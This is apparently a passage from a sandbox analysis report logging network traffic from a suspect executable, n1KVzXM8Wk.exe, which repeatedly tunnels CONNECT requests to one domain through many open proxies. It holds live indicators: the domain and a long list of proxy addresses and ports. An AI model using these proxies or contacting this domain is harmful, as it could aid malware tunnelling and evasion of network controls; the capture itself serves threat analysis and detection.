Feb 23, 2024 09:45:24.823873997 CET	658	IN	Data Raw: 73 72 31 2e 63 72 6c 30 3b 06 03 55 1d 20 04 34 30 32 30 08 06 06 67 81 0c 01 02 01 30 08 06 06 67 81 0c 01 02 02 30 0d 06 0b 2b 06 01 04 01 d6 79 02 05 03 02 30 0d 06 0b 2b 06 01 04 01 d6 79 02 05 03 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 Data Ascii: sr1.crl0;U 4020g0g0+y0+y0H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ#+IjuXHW5ooNi-h+s"7fIUg2
Feb 23, 2024 09:45:24.825906038 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 35 b7 00 d6 9b 1d cc 97 ec 58 5e 41 78 83 89 3f f8 32 af e7 10 eb 45 6c 9f 02 e8 5f fc 5b eb 50 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 a5 6a 3c 1d 2c d0 60 80 d8 b8 f5 0b 07 44 58 97 87 b3 de b4 20 Data Ascii: %! 5X^Ax?2El_[P(j<,`DX %+?k
Feb 23, 2024 09:45:24.943655014 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 5c cb a0 02 7b 9e cb 65 2e ce 21 e0 00 b0 bd 6f fc 04 0f 3b f1 1e 0c 6e 32 74 a4 6b cd a2 30 7f 33 17 67 6e 66 24 d8 68 84 c9 df a5 43 87 7f 27 60 6e 3c c9 28 35 ae f4 c9 9f b5 b4 92 ef 66 b6 ef f5 6a Data Ascii: \{e.!o;n2tk03gnf$hC'`n<(5fjWE]l[fQ0d)0x#}:/y^~\d\|EI_nC@(de,p_q$46?:eCU(t"VI5eZ]
Feb 23, 2024 09:45:25.054125071 CET	147	OUT	Data Raw: 17 03 03 00 8e 00 00 00 00 00 00 00 01 54 3b 1a eb e1 14 03 2f 1a 88 95 00 b4 4e 70 eb 7b 61 0f a4 d4 16 43 02 5e 7f 76 00 61 56 7e 75 fa ee 35 3a 10 bb aa 83 88 38 2e d8 a5 eb 24 85 f0 08 45 be 5a 7e 92 fc 1b 89 72 78 21 14 8f 13 93 cd 4f f3 dc Data Ascii: T;/Np{aC^vaV~u5:8.$EZ~rx!O0#Z#wh+~T\110mJ/+r<$m7Z7'^
Feb 23, 2024 09:45:25.404613972 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 62 bb cb 91 15 60 11 22 fe 90 eb d4 5f c3 04 06 be 89 98 89 f1 b7 0a 6b 40 9c b5 ad 30 d9 48 eb e0 ca 66 3a 8b 40 43 ed 06 ac 3d ec 6a e8 26 cc 70 4e 5f df 36 46 b8 61 b6 b3 e3 9e f1 67 a4 0e 41 a3 f6 df f0 Data Ascii: qb`"_k@0Hf:@C=j&pN_6FagAG %\b*_>uxAb\|Z-?#m!o<4)RrB74\Pj?LT,G9 RDR4&Zm6`X=%H$!#e<SO>ez==2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1087	192.168.2.4	53086	195.88.240.162	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.562634945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.818644047 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1088	192.168.2.4	52024	50.63.13.3	12035	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.588594913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.178185940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.680612087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.682933092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.475240946 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.365890980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.179234982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.681076050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:42.684030056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1089	192.168.2.4	53073	188.166.197.129	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.622379065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1090	192.168.2.4	51915	37.187.91.192	21981	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.622459888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.680743933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680843115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.682420015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1091	192.168.2.4	52098	187.190.49.166	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.622467995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.107677937 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1092	192.168.2.4	52899	103.163.51.254	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.634985924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1093	192.168.2.4	51866	194.233.78.142	31681	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.645113945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.680772066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.680839062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.682420015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1094	192.168.2.4	51990	83.220.168.57	10103	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.645216942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.700042963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.815171003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.928765059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:48.943686008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:00.944058895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:13.021934986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1095	192.168.2.4	51796	171.244.10.204	52178	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.653645039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1096	192.168.2.4	53095	23.226.4.102	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.664470911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.961941957 CET	531	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 23 Feb 2024 08:45:24 GMT Server: Apache/2.4.52 (Ubuntu) Allow: OPTIONS,HEAD,GET,POST Content-Length: 331 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 6d 65 74 68 6f 64 20 43 4f 4e 4e 45 43 54 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 74 68 69 73 20 55 52 4c 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>405 Method Not Allowed</title></head><body><h1>Method Not Allowed</h1><p>The requested method CONNECT is not allowed for this URL.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1097	192.168.2.4	53123	104.23.125.117	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.667151928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.754796028 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1098	192.168.2.4	52004	191.250.158.159	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.667152882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.846744061 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1099	192.168.2.4	53112	157.25.92.74	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.671920061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.860168934 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 46 72 69 2c 20 32 33 20 46 65 62 20 32 30 32 34 20 30 38 3a 34 35 3a 32 34 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Fri, 23 Feb 2024 08:45:24 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1100	192.168.2.4	53102	43.133.80.236	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.671998978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1101	192.168.2.4	52048	160.251.141.208	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.682738066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.700088024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:51.966140032 CET	58	IN	HTTP/1.1 200 Connection established Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1102	192.168.2.4	52074	158.247.237.223	7801	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.683049917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.700104952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.815187931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.928859949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:39.311142921 CET	131	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0a Data Ascii: Maximum number of open connections reached.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1103	192.168.2.4	52146	109.123.254.43	14474	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.700407028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.700119019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.815169096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.928777933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:48.943741083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:13.021797895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1104	192.168.2.4	53124	164.92.237.188	63722	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.710107088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.178231001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.865866899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.975158930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.178358078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.366038084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.475358963 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.682435036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:45.756236076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1105	192.168.2.4	53109	115.74.153.4	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.730652094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1106	192.168.2.4	53133	185.162.231.254	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.739211082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
